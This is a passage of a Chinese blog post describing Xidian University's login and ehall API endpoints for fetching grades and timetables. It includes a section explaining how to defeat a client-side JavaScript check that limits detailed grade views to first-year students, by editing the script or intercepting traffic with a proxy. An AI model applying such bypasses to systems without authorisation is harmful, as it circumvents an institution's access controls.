href=\"http://ids.xidian.edu.cn/authserver/login\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ids.xidian.edu.cn/authserver/login\u003c/a\u003e 发送 POST 请求,其中请求头是上面搞过的请求头,请求参数是 \u003ccode\u003e{\u0026#34;service\u0026#34;: 接下来要访问的网址}\u003c/code\u003e ,请求不要自动跳转。\u003c/p\u003e\n\u003cp\u003e如果正常,ids.xidian.edu.cn 下面的 Cookie 会多一个 \u003ccode\u003ehappyVoyagePersonal=...; Path=/personalinfo\u003c/code\u003e。然后需要我们自己向需要跳转的新网址发 GET 请求,同样,不需要自动跳转。\u003c/p\u003e\n\u003cp\u003e到此,通过统一认证平台,我们登陆了一站式服务大厅。\u003c/p\u003e\n\u003ch2 id=\"使用一站式服务大厅\"\u003e使用一站式服务大厅\u003c/h2\u003e\n\u003cp\u003e首先给个表格:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e应用名称\u003c/th\u003e\n\u003cth\u003e内部序号(appID)\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e课表\u003c/td\u003e\n\u003ctd\u003e4770397878132218\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e成绩\u003c/td\u003e\n\u003ctd\u003e4768574631264620\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e考试安排\u003c/td\u003e\n\u003ctd\u003e4768687067472349\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e个人信息\u003c/td\u003e\n\u003ctd\u003e4585275700341858\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"如何进入应用\"\u003e如何进入应用\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e验证是否登录。向 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jsonp/userFavoriteApps.json\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jsonp/userFavoriteApps.json\u003c/a\u003e 发送 GET 请求,查看返回的数据中,hasLogin 是否为 true。如果没登录,则需要登录。登陆需要的 target 是 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/login?service=http://ehall.xidian.edu.cn/new/index.html\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/login?service=http://ehall.xidian.edu.cn/new/index.html\u003c/a\u003e。\n一站式登录成功的话,ehall.xidian.edu.cn 下面的 Cookie 会多一个 \u003ccode\u003eMOD_AUTH_CAS=MOD_AUTH_ST-...; path=/;\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e请求访问应用。向 \u003ccode\u003ehttp://ehall.xidian.edu.cn/appShow\u003c/code\u003e 发送 GET 请求,其中请求参数是 \u003ccode\u003e{\u0026#34;appId\u0026#34;: 要访问应用的内部序号}\u003c/code\u003e,header 追加参数如下:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;Accept\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e暂停自动跳转请求,截断下来要跳转的网址,去相应函数请求,如果那个功能必要的话。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"提前说明第二发\"\u003e提前说明第二发\u003c/h3\u003e\n\u003cp\u003e发送信息中如包含学期信息之情况,按照如此处理:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e2022-2023-1 == 2022-2023 学年第一学期\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e虽然是可以通过请求得到学期数据,不过有的地方,我打算自己算。所以如有对应需求,请查看 xidian-script 代码。\u003c/p\u003e\n\u003ch3 id=\"获取成绩学校想让你看到的\"\u003e获取成绩(学校想让你看到的)\u003c/h3\u003e\n\u003cp\u003e一会再告诉大家为啥是\u0026#34;学校想让你看到的\u0026#34;。先给大家介绍原理。\u003c/p\u003e\n\u003ch4 id=\"获取数据\"\u003e获取数据\u003c/h4\u003e\n\u003cp\u003e在获取数据前,还记得那个要跳转的网址吗?你一定要给那个网址发个 GET 请求,要不然,接下来的步骤报错 403 未授权。\u003c/p\u003e\n\u003cp\u003e实际上这玩意本质上,就是向 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx/xscjcx.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx/xscjcx.do\u003c/a\u003e 发送 POST 请求。不过发送的请求数据,要看情况。\u003c/p\u003e\n\u003cp\u003e首先说的是一个共有的请求数据,如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SFYX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//是否有效\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;value\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;linkOpt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;and\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;builder\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;m_value_equal\u0026#34;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,如果你想查看某个学期的数据,还需要追加以下请求数据:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//学年学期代码\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;value\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2022-2023-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"c1\"\u003e//学期学年代码,参考提前说明第二发\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;linkOpt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;and\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;builder\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;equal\u0026#34;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,由于是 POST,所以没有请求数据设置(有错请指正)。所以我们附在 POST 报文的数据是:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"err\"\u003edata:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;*json\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;querySetting\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e将上面设置的请求数据编码为\u003c/span\u003e \u003cspan class=\"err\"\u003ejson\u003c/span\u003e \u003cspan class=\"err\"\u003e字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;*order\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;+XNXQDM,KCH,KXH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;pageSize\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e1000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;pageNumber\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后返回的数据,基本上是坑爹的汉语拼音缩写,感觉大家应该会破译吧。毕竟人均黑虎阿福,都是会乌鸦坐飞机的。\u003c/p\u003e\n\u003ch4 id=\"关于那些坑爹的拼音缩写\"\u003e关于那些坑爹的拼音缩写\u003c/h4\u003e\n\u003cp\u003e我打开过网页的开发者模式,看到网络菜单有个请求,是向 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx.do\" target=\"_blank\" rel=\"noopener\"\u003ehttps://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx.do\u003c/a\u003e 的 POST 请求。发送的也和上面的头差不多。然后他返回的信息,就是那些坑爹缩写的完整含义。实际上有好多,这里我只列出和查成绩相关的东西。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eXNXQDM\u003c/td\u003e\n\u003ctd\u003e学年学期(代码)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCH\u003c/td\u003e\n\u003ctd\u003e课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXSKCM\u003c/td\u003e\n\u003ctd\u003e(学生)课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXSKCH\u003c/td\u003e\n\u003ctd\u003e(学生)课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZCJ\u003c/td\u003e\n\u003ctd\u003e总成绩\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCLBDM\u003c/td\u003e\n\u003ctd\u003e课程类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCXZDM\u003c/td\u003e\n\u003ctd\u003e课程性质\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXGXKLBDM\u003c/td\u003e\n\u003ctd\u003e校公选课类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXF\u003c/td\u003e\n\u003ctd\u003e学分\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXS\u003c/td\u003e\n\u003ctd\u003e学时\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXDFSDM\u003c/td\u003e\n\u003ctd\u003e修读方式\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFZX\u003c/td\u003e\n\u003ctd\u003e修读类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXFJD\u003c/td\u003e\n\u003ctd\u003e绩点\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJDF\u003c/td\u003e\n\u003ctd\u003e积点分(绩点分)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXBID\u003c/td\u003e\n\u003ctd\u003e教学班id\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCXCKDM\u003c/td\u003e\n\u003ctd\u003e重修重考\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFJG\u003c/td\u003e\n\u003ctd\u003e是否及格\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFYX\u003c/td\u003e\n\u003ctd\u003e是否有效\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch4 id=\"为啥是学校想让你看到的\"\u003e为啥是\u0026#34;学校想让你看到的\u0026#34;\u003c/h4\u003e\n\u003cp\u003e我发现,正常情况下,只有大一新生才能看到自己成绩的排名和具体组成。我查看了页面的源代码,在 \u003ccode\u003etop/ehall.xidian.edu.cn/jwapp/cjcx/*default/modules/cjcx/dqxq/dqxq.js?av=一个时常变化的数\u003c/code\u003e 文件中,有以下几行:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan class=\"c1\"\u003e/// The tenth line.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//是否为大一学生(默认为否)西电大一学生可以查看成绩详情\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e/// The thirty-eighth line and below.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"nx\"\u003echeckIsDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(){\u003c/span\u003e\n \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003edqxnxqdm\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//2017-2018-1\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//2017\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;90001\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003ejwlcgl\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetRZLB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eroleId\u003c/span\u003e\u003cspan class=\"p\"\u003e)){\u003c/span\u003e\n \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eurl\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eWIS_EMAP_SERV\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetAbsPath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/modules/cjcx/cxxsjbxx.do\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eBH_UTILS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edoSyncAjax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecode\u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edatas\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecxxsjbxx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eextParams\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecode\u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edatas\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecxxsjbxx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eextParams\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emsg\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\t\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nx\"\u003e$\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebhTip\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;学生现在年级查询失败,请稍后再试...\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;danger\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e要想看倒也容易,在网页下载完这个文件但还没加载之前,改掉这俩地方。具体各位可以上网搜\u0026#34;如何在 Chrome 中修改网页代码\u0026#34;。或者使用 Charles 或者 mitproxy 搞中间人拦截,手动改包。\u003c/p\u003e\n\u003cp\u003e另外说明,这个文件感觉是包含了所有跟查成绩相关的代码,要想深入了解的话可以看看。我对这玩意居然没有加密混淆表示无法理解。\u003c/p\u003e\n\u003cp\u003e最后我想问的是,这是什么高年级歧视。如果是要”保护“老师的话,不如想想为啥我们学生会对某些老师敬而远之。\u003c/p\u003e\n\u003ch3 id=\"获取课表数据\"\u003e获取课表数据\u003c/h3\u003e\n\u003cp\u003e一般来说,获取到的数据是需要处理的。xidian-script 是处理成 iCalender 文件,一个国际上用来处理日历和备忘录的标准格式。我的程序计划是利用 Dart 的一个库,保存成 iCalender 。然后我在网上找到个课表的实现,试着套一下。\u003c/p\u003e\n\u003ch4 id=\"当前学期信息\"\u003e当前学期信息\u003c/h4\u003e\n\u003cp\u003e没错,这回我不打算自己合成了:-P\u003c/p\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/dqxnxq.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/dqxnxq.do\u003c/a\u003e 发送 POST 请求。如果成功的话,在回复数据中的 \u003ccode\u003e[\u0026#39;datas\u0026#39;][\u0026#39;dqxnxq\u0026#39;][\u0026#39;rows\u0026#39;][0][\u0026#39;DM\u0026#39;]\u003c/code\u003e 中,就会包含这个学期的数据,格式见上文的提前说明。\u003c/p\u003e\n\u003cp\u003e感觉其他类似的应用应该有类似的方式来获取目前的学期,或者是所有的学期号码。\u003c/p\u003e\n\u003ch4 id=\"获取开学日期\"\u003e获取开学日期\u003c/h4\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\u003c/a\u003e 发送 POST 请求,发送的数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;XN\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e\u0026#39;学期代码的第一个数字-学期代码的第二个数字\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//学年\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e学期代码的最后一个数字\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 学期\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e获取的日期字符串在返回数据的 \u003ccode\u003e[\u0026#39;datas\u0026#39;][\u0026#39;cxjcs\u0026#39;][\u0026#39;rows\u0026#39;][0][\u0026#34;XQKSRQ\u0026#34;]\u003c/code\u003e 中。\u003c/p\u003e\n\u003cp\u003e这个东西感觉是为了在显示课表对应日期的时候,找个基准。\u003c/p\u003e\n\u003ch4 id=\"获取课表初步数据\"\u003e获取课表初步数据\u003c/h4\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/xskcb.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/xskcb.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e当前学期信息字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后从 \u003ccode\u003e[\u0026#39;datas\u0026#39;][\u0026#39;xskcb\u0026#39;]\u003c/code\u003e 提取信息。\u003c/p\u003e\n\u003cp\u003e查看 \u003ccode\u003e[\u0026#39;extParams\u0026#39;][\u0026#39;code\u0026#39;]\u003c/code\u003e 是否为 1。如果是的话,从 \u003ccode\u003e[\u0026#39;rows\u0026#39;]\u003c/code\u003e 提取数据,否则,从 \u003ccode\u003e[\u0026#39;extParams\u0026#39;][\u0026#39;msg\u0026#39;]\u003c/code\u003e 查看错误信息。\u003c/p\u003e\n\u003ch4 id=\"没在课表上的课\"\u003e没在课表上的课\u003c/h4\u003e\n\u003cp\u003e要是有门课没有在课表上,我们咋办?\u003c/p\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/cxxsllsywpk.do\" target=\"_blank\" rel=\"noopener\"\u003ehttps://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/cxxsllsywpk.do\u003c/a\u003e 发送 POST 请求,发送数据为:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan 